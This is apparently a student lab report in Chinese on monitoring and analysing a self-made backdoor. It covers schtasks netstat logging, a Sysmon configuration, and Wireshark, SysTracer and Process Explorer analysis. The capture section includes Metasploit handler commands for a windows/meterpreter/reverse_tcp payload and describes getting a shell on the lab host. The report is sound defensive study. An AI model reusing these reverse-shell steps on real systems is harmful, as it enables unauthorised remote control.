Exp4 恶意代码分析
Exp4 恶意代码分析
一、实践目标
1.系统运行监控
使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。
安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
2.恶意软件分析
分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件读取、添加、删除了哪些注册表项,读取、添加、删除了哪些文件,连接了哪些外部IP,传输了什么数据
二、实践内容
Ⅰ.系统运行监控—任务计划
先来学习一下schtasks的命令,贴上参考链接schtasks的命令
1.写好脚本(实际上就是命令行语句)netcontrol1227.bat,再新建一个txt文档netstatlog.txt用于接收数据
date /t >> C:\Users\Administrator\Desktop\netstatlog.txt
time /t >> C:\Users\Administrator\Desktop\netstatlog.txt
netstat -bn >> C:\Users\Administrator\Desktop\netstatlog.txt
2.用命令行创建一个计划任务
win+R
cmd
schtasks /create /TN netcontrol1227 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > C:\Users\Administrator\Desktop\netstatlog.txt"
TN是创建的计划任务名是netcontrol1227,sc表示计时方式,TR表示执行的指令,>表示输出重定向
3.打开任务计划程序
“WIN+R”调出“运行”窗口,输入“taskschd.msc”按回车
4.在常规中选择使用最高权限运行,在条件中关闭电源限制
电源限制可以选择性使用,此处只是为了收集更多的信息,所以关闭了电源限制
5.在操作栏清空参数,选择批处理文件
6.等待一段时间后就可以得到想要的数据了
这个等待时间看个人心情
7.收集了较多数据后,停止任务,将所得数据在excel中进行分析
-
①新建excel,数据→自文本→选择数据源→netcontrol1227.txt,勾选分隔符号
-
②勾选所有分隔符号
-
③列数据格式勾选常规→完成
-
④选择要分析的列——>选择插入——>选择数据透视图——>直接默认值确认
-
⑤右侧选择分析的日期,拖入下方的轴和值
同样的方法,可以得到连接的外部ip地址的统计图
分析结果
出现最多的是TCP,established,established意思是TCP连接成功,再下来就是[QQBrowser.exe],是浏览器发起了678次TCP连接,下面列举出来连接最多的一些外部网站,端口基本上都是通过443端口(https)
Ⅱ.系统运行监控—sysmon
sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具,用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。
1.安装sysmon
- 确定监控目标
- 进程创建ProcessCreate
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine
- 进程创建时间FileCreatTime
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime
- 网络连接NetworkConnect
过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName
- 远程线程创建CreateRemoteThread
过滤事件选项:
UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction
编写配置文件
创建一个txt文件,写好配置文件后将文件后缀改为.xml
<Sysmon schemaversion="4.81">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<ProcessCreate onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<Image condition="end with">QQBrowser.exe</Image>
</ProcessCreate>
<FileCreateTime onmatch="exclude" >
<Image condition="end with">chrome.exe</Image>
</FileCreateTime>
<NetworkConnect onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">127.0.0.1</SourceIp>
</NetworkConnect>
<NetworkConnect onmatch="include">
<DestinationPort condition="is">80</DestinationPort>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
解释一下:
- onmatch选项只能设置为include或者exclude,exclude相当于白名单,不用记录;include相当于黑名单
- 第一行的sysmon版本号要跟使用的sysmon一致(当前版本是4.81)
- Image condition根据自己使用的浏览器更改,如谷歌浏览器是“chrome.exe”,IE浏览器是“iexplore.exe”,火狐浏览器是“firefox.exe”,QQ浏览器是“QQBrowser.exe”,写在exclude中就是不记录由谷歌浏览器创建的进程
- 进程创建时间类似,也是不创建浏览器创建进程的时间
- 网络连接过滤掉了浏览器的网络连接、源IP为127.0.0.1(localhost)的网络连接和目的端口为137的连接服务,且查看目的端口为80(http)和443(https)的网络连接。
- 137端口的主要作用是在局域网中提供计算机的名字或IP地址查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态
- 127.0.0.1表示回环地址
- 远程线程创建记录了目标为explorer.exe、svchost.exe、winlogon.exe和powershell.exe 的远程线程
- explorer.exe是Windows程序管理器或者文件资源管理器
- svchost.exe是一个属于微软Windows操作系统的系统程序,是从动态链接库 (DLL) 中运行的服务的通用主机进程名称
- winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出
- powershell.exe是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用
2.启动sysmon
cd进入包含sysmom.exe的文件夹
输入指令.\Sysmon.exe -i sysmon1227.xml安装Sysmon,点击Agree
-i第一次启动时用,之后更新xml配置可以-c完成
3.打开日志
打开事件查看器(win+R运行eventvwr.msc)——>应用程序和服务日志->Microsoft->Windows->Sysmon->`Operational
这里可以点击框内空白部分,然后用输入法输入一部分字母快速查找,也可以直接按字母表顺序一直往下翻
打开kali,Win运行后门文件1227door.exe,回连到kali,kali执行shell获取win10的cmd
再次查看日志
根据时间观察对应的事件
可以在Sysmon的日志中看到进程创建
Ⅲ.恶意软件分析
1.用wireshark分析TCP包
我在Windows下使用wireshark抓不到kali的包,大家可以试一试。经尝试,VMware使用桥接模式是可以抓到虚拟机的包的,详细设置见文末。
如果大家也出现这个问题,可以直接跳到kali抓包部分。
ip.addr == 172.30.7.176 这是更换网络前的kali机的ip地址
我使用上述过滤命令过滤网络包时,显示不出任何信息。
然后,此处我更换了网络,所以ip变了,如图,主机ip192.168.123.235,kali机ip:192.168.123.93
此时因为我的后门程序一直在运行,所以主机一直在向虚拟机发送请求包,就是图中黑色红字部分
再来,大家还可以看见黑色绿字部分有一个192.168.254.1,这是内部网关,为什么会是内部网关返回信息给主机呢
因为主机发送请求后要先抵达内部网关,再发往虚拟机的网关,但是我的后门程序设置的反弹ip没有修改,而kali的ip地址变化了,所以网关找不到下一跳的目的地址,所以就返回此条绿字包:“我找不到你要到的目的地,你下车吧。”这样包就被丢掉了~
kali中使用wireshark抓包分析
主机ip:192.168.43.141 虚拟机ip:192.168.43.183
-
点击右上方的kali图标,搜索wireshark,进入wireshark
-
选择需要监听的网卡,双击即可开始监听
-
ncat传送后门程序
我这里用的payload是windows/meterpreter/reverse_tcp
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 1227
set LHOST 192.168.43.183
-
注意看前两行,先由kali端向主机端发送连接请求,被拒绝了,回了一个[rst,ack]包。
再看3-5行,这是典型的tcp三次握手建立连接
这里的包可以结合自己的操作看,从图1.1正好被拒绝了一次,然后再建立连接,这也真是神奇,贴心的电脑帮我把两种情况都实现了。
-
现在来看看下面的详细信息,因为用的tcp反弹式连接,所以基本上都是tcp包,详细信息一次类推
第一行,帧Frame447指的是要发送的数据块,其中,所抓帧的序号为36838,捕获字节等于传送字节数:7354字节
第二行,以太网,有线局域网技术,是数据链路层。源Mac地址为08:00:27:ca:97:51,目标Mac地址为0c:dd:24:8e:94:37
第三行,IPV4协议,也称网络协议,是网络层;源IP地址为192.168.43.183,目的IP地址为:192.168.43.141
第四行,TCP协议,也称传输控制协议,是传输层;源端口(55538);目标端口(12270);序列号(1);ACK是TCP数据包首部中的确认标志,对已接收到的TCP报文进行确认,值为1表示确认号有效;长度为7300字节
第五行,数据共有7300字节
* 可以看出来ncat是将后门程序分段传输过去的哈,我生成的后门程序大小为73802字节,不知道少的那216字节去哪了。
- 打开msfconsole,并设置打开kali监听,并在Windows中启动后门程序,抓包
闲着没事算了一下传输的数据大小,看起来并没有那么大(175174字节),可能是抓漏了吧
- getshell,并dir后 的包
getshell并没有获得什么信息,而dir后主机发送了一个1140字节的数据包,这应该是该目录的文件信息吧,正在寻找验证方法。
2.通过Ⅰ中的任务计划分析
在shell.exe启动后,通过上文中的程序找到了192.168.123.235(本机)向192.169.123.93(Kali虚拟机)的TCP包,由此可见在程序启动后会隔一段时间就会发送TCP包。
3.使用SysTracer分析
systracer直接去官网下载就行了,安装的时候点击第一个,一直下一步就行了
- systracer可以记录下计算机某个时刻的状态。然后过一段时间后再次记录。通过比较两次记录中计算机的不同进行相应的分析。
- 不要点击stop!!!!!!!
这里的三张快照分别是before:没有执行任何操作
connect:传送了后门文件,并回连了kali
getshell:kali handle控制台getshell后进行了一系列操作(dir,date,mkdir 1227t4)
- 对比快照before和快照connect
在右下角选择要对比的两个快照,再点击compare
为了更清晰地知道我们的计算机被执行了什么操作,所以选中only differences
* 通过查看Running Processes、Opened Handles、Opened Ports,可以更直观地看到后门程序的执行,以及它添加了哪些句柄和连接的是哪个端口。
这一串,就是后门程序添加的句柄
这里可以看到后门程序是通过``64902端口对192.168.43.183:1227`进行连接,这里可以看出后门采用的是反弹端口连接方式。
但是这里的分析有一个困难在于,很多信息,不论是注册表还是文件抑或是应用程序,在查看的时候经常会看到“SysTracer not registered”,推测这可能是因为未激活软件所以在试用阶段不能使用其全部功能,所以提示软件未注册。虽然详细信息无法探知,可至少知道哪里发生了变化,如果认真追究问题的话也是会很有指向性的。另外还可以像sysmon那样,对比不同时期下本机的对外网络连接情况,可以探知谁在两个快照期间做了什么事情(启用哪个端口和谁建立了连接)。
-
(一个没有激活的软件貌似最多只能创建5张快照,我就是。解决方法就是找到它的文件位置,删掉,再重装一遍)
-
对比快照Snapshot #2和快照Snapshot #3
由于我们在kali中执行了shell,并且执行了dir指令查看文件夹内容,相对应的这里会执行cmd.exe和conhost.exe
- 同时,系统删除了一系列的dll,添加了相应的句柄。
4.使用Process Explorer分析恶意软件
下载Process Explorer v16.22并解压
打开procexp.exe
不用在Windows端执行任何操作,就可以监听到电脑上所有正在运行的程序
这里就抓到了我的后门程序,可以看出kali端get了shell还创建了一个文件夹(20191227)
当我们意识到这个是恶意程序时,我们就可以直接kill掉它
5.sandbox
Windows Sandbox虽然内置在Windows 18305中,要使用却需要用户自己手动添加,具体步骤:控制面板→程序和功能→启用或关闭Windows功能→勾选Windows Sandbox,确认后安装需要重启系统。
- 注意要win10或win11企业版或者专业版,家庭版是没有沙盒这个功能的。想做的同学可以去mscn下载win10专业版操作系统
进入sandbox,可以看到它就跟一个新电脑一样,你可以在里面随便造,不影响宿主机
把课设做的恶意程序放进去跑了一下,被攻击了
不过沙盒不会保留任何记录,重启变得崭新
用了沙盒的同学vm ware可能会打不开,参考这篇博客,虽然不能解决共存问题,但是能来回切换。
三、实验后回答问题
1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
答:
首先要监控的是网络,可以就用schtasks设置任务,然后筛选出可疑的网络行为。但凡攻击者想进行远程操作,建立了连接,就一定会被记录到
然后检测进程,比如攻击者要抓肉鸡DDOS或者挖矿,肯定会导致占用的CPU不正常(虽然我感觉应该很少抓PC)
还有要检测文件的创建和删除。如果攻击者是通过小马传大马的方式进行进一步的攻击,检测文件的创建和删除可以防止进一步的攻击,这个可以用schtasks,也可以用systracer。
最后是监控对驱动和硬件的调用,将损失尽量减少。
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
答:Process Monitor可以看的很清楚这个进程的实施者、端口等等,如果能定位到具体的exe,可以进一步丢到vt上,或者用ida反编译之类的深入研究
四、一些问题
1、系统运行监控中出现操作
关于实验四的第一个小题中:记录的txt文件提示“请求的操作需要提升”或者出现无法写入,如果是最高权限运行,可以试一试改一下bat中的地址(改为其他盘片的地址)。还有,用户名是中文的建议新创建一个文件夹(例如EX4),路径最好不要出现中文。
2、VMware网卡设置
- 这里需要改成你的网卡,我改的WiFi网卡,就抓WiFi的包
- 如何查看WiFi网卡
一直往下翻
五、实验感悟
防御确实不如攻击有意思,但是在现实生活中给我们合法攻击的机会不多,所以我们现在才是走上了正轨。
“攻击者只需找到防守者的一个漏洞就成功了,而防守者需要做到面面俱到”
现在对这句话的体会更加深刻了,但就知识面来说,进行攻击时,我只需要知道计算机方面的知识,病毒的生产和制作都由msf和veil等软件完成(当然这也是我浅尝攻击之后的想法,真实的攻击肯定很复杂)。对于防守者,就这个实验来说:我不仅需要计算机方面的知识,还需要网络方面的知识。并且要了解得更深一些,不然都解析不出报文和检测软件抓到的异常数据。